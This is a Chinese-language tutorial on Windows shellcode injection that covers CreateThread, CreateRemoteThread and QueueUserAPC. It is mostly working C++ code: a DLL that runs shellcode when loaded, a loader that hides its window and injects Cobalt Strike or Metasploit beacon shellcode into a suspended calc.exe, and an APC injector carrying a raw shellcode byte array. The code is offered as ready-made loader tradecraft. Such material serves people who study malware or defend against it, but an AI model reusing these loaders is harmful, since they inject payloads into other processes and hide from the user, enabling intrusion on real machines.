shellcode 注入执行技术学习
注入执行方式
- CreateThread
- CreateRemoteThread
- QueueUserAPC
CreateThread是一种用于执行Shellcode的技术,而CreateRemoteThread和QueueUserAPC是Shellcode注入的形式。
以下是使用三种不同技术运行shellcode的过程的高级概述
CreateThread
- Allocate memory in the current process
- Copy shellcode into the allocated memory
- Modify the protections of the newly allocated memory to allow execution of code from within that memory space
- Create a thread with the base address of the allocated memory segment
- Wait on the thread handle to return
翻译:
1、在当前进程中分配内存
2、将shellcode复制到分配的内存中
3、修改新分配的内存的保护,以允许从该内存空间中执行代码
4、用分配的内存段的基地址创建一个线程
5、等待线程句柄返回
示例代码:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include<windows.h>
#include<iostream>
HANDLE My_hThread = NULL;
unsigned char shellcode[] = "shellcode"; //CS或msf生成的shellcode
DWORD WINAPI ceshi(LPVOID pParameter)
{
__asm
{
mov eax, offset shellcode
jmp eax
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码
My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern"C" _declspec(dllexport) void test()
{
int a;
a = 0;
}
CreateRemoteThread
- Get the process ID of the process to inject into
- Open the target process
- Allocate executable memory within the target process
- Write shellcode into the allocated memory
- Create a thread in the remote process with the start address of the allocated memory segment
翻译:
1、获取要注入的进程的进程ID
2、打开目标进程
3、在目标进程内分配可执行内存
4、将shellcode写入分配的内存
5、使用分配的内存段的起始地址在远程进程中创建线程
示例代码:
#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
//隐藏运行程序时的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;
//使用CS或msf生成的C语言格式的上线shellcode
unsigned char shellcode[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2...........";
BOOL injection()
{
wchar_t Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
//把基地址设置为自己shellcode数组的起始地址
lpMalwareBaseAddr = shellcode;
//获取系统路径,拼接字符串找到calc.exe的路径
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, L"\calc.exe");
//打印注入提示
// printf("被注入的程序名:%S
", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//创建calc.exe进程
if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新进程的主线程会以暂停的状态被创建,直到调用ResumeThread函数被调用时才运行。
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
//在
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
//远程线程注入过程
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc)
{
// printf("%s:创建进程并将shellcode写入进程内存
", proc);
}
int main(int argc, char* argv[])
{
help(argv[0]);
injection();
}
QueueUserAPC
- Get the process ID of the process to inject into
- Open the target process
- Allocate memory within the target process
- Write shellcode into the allocated memory
- Modify the protections of the newly allocated memory to allow execution of code from within that memory space
- Open a thread in the remote process with the start address of the allocated memory segment
- Submit thread to queue for execution when it enters an “alertable” state
- Resume thread to enter “alertable” state
翻译:
1、获取要注入的进程的进程ID
2、打开目标进程
3、在目标进程内分配内存
4、将shellcode写入分配的内存
5、修改新分配的内存的保护,以允许从该内存空间中执行代码
6、使用分配的内存段的起始地址在远程进程中打开一个线程
7、进入“可更改”状态时将线程提交到队列中以供执行
8、恢复线程以进入“可更改”状态
示例代码:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "xE9x8Bx01x00x00xCCxCCxCCxCCxCCxCCxCCxCCxCCxCCxCCx64xA1x30x00x00x00x85xC0x78x0Dx8Bx40x0Cx8Bx40x14x8Bx00x8Bx00x8Bx40x10xC3xCCxCCxCCxCCxCCxCCxCCxCCx55x8BxECx83xECx40x53x56x8BxD9x57x89x5DxF4xE8xCDxFFxFFxFFx8BxF0x33xFFx8Bx56x3Cx39x7Cx32x7Cx75x07x33xFFxE9x9Cx00x00x00x8Bx44x32x78x85xC0x74xF1x8Bx54x30x18x85xD2x74xE9x8Bx4Cx30x24x8Bx5Cx30x20x03xCEx8Bx44x30x1Cx03xDEx03xC6x89x4DxFCx33xC9x89x45xF8x4Ax8Bx04x8Bx03xC6x80x38x47x75x4Ex80x78x01x65x75x48x80x78x02x74x75x42x80x78x03x50x75x3Cx80x78x04x72x75x36x80x78x05x6Fx75x30x80x78x06x63x75x2Ax80x78x07x41x75x24x80x78x08x64x75x1Ex80x78x09x64x75x18x80x78x0Ax72x75x12x80x78x0Bx65x75x0Cx80x78x0Cx73x75x06x80x78x0Dx73x74x07x41x3BxCAx76xA3xEBx0Fx8Bx45xFCx8Bx7DxF8x0FxB7x04x48x8Bx3Cx87x03xFEx8Bx5DxF4x8Dx45xC0x89x3Bx50xC7x45xC0x4Cx6Fx61x64xC7x45xC4x4Cx69x62x72xC7x45xC8x61x72x79x41xC6x45xCCx00xE8xF9xFExFFxFFx50x8Bx03xFFxD0x8Dx4DxDCx89x43x04x51x8Dx4DxE8xC7x45xE8x55x73x65x72x51xC7x45xECx33x32x2Ex64x66xC7x45xF0x6Cx6CxC6x45xF2x00xC7x45xDCx4Dx65x73x73xC7x45xE0x61x67x65x42xC7x45xE4x6Fx78x41x00xFFxD0x50x8Bx03xFFxD0x89x43x08x8Dx45xD0x50xC7x45xD0x43x72x65x61xC7x45xD4x74x65x46x69xC7x45xD8x6Cx65x41x00xE8x94xFExFFxFFx50x8Bx03xFFxD0x5Fx5Ex89x43x0Cx5Bx8BxE5x5DxC3xCCxCCxCCxCCxCCx55x8BxECx83xECx24x8Dx4DxDCxE8x92xFExFFxFFx6Ax00x8Dx45xFCxC7x45xECx48x65x6Cx6Cx50x8Dx45xECx66xC7x45xF0x6Fx21x50x6Ax00xC6x45xF2x00xC7x45xFCx54x69x70x00xFFx55xE4x6Ax00x6Ax00x6Ax02x6Ax00x6Ax00x68x00x00x00x40x8Dx45xF4xC7x45xF4x31x2Ex74x78x50x66xC7x45xF8x74x00xFFx55xE8x8BxE5x5DxC3xCCxCCxCCxCC";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
printf("shellAddress is: %p
", shellAddress);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
printf("apcRoutine is: %p------>threadId:%d
", apcRoutine, threadId);
Sleep(1000 * 2);
}
return 0;
}
参考资料
你可以在以下链接学到更多知识
https://github.com/LOLBAS-Project/LOLBAS
https://github.com/fireeye/DueDLLigence
https://mp.weixin.qq.com/s/J78CPtHJX5ouN6fxVxMFgg
https://blog.csdn.net/qq_41874930/article/details/107888800
https://www.jianshu.com/p/bdd302d1ffa8
https://www.cnblogs.com/theseventhson/p/13199381.html
https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection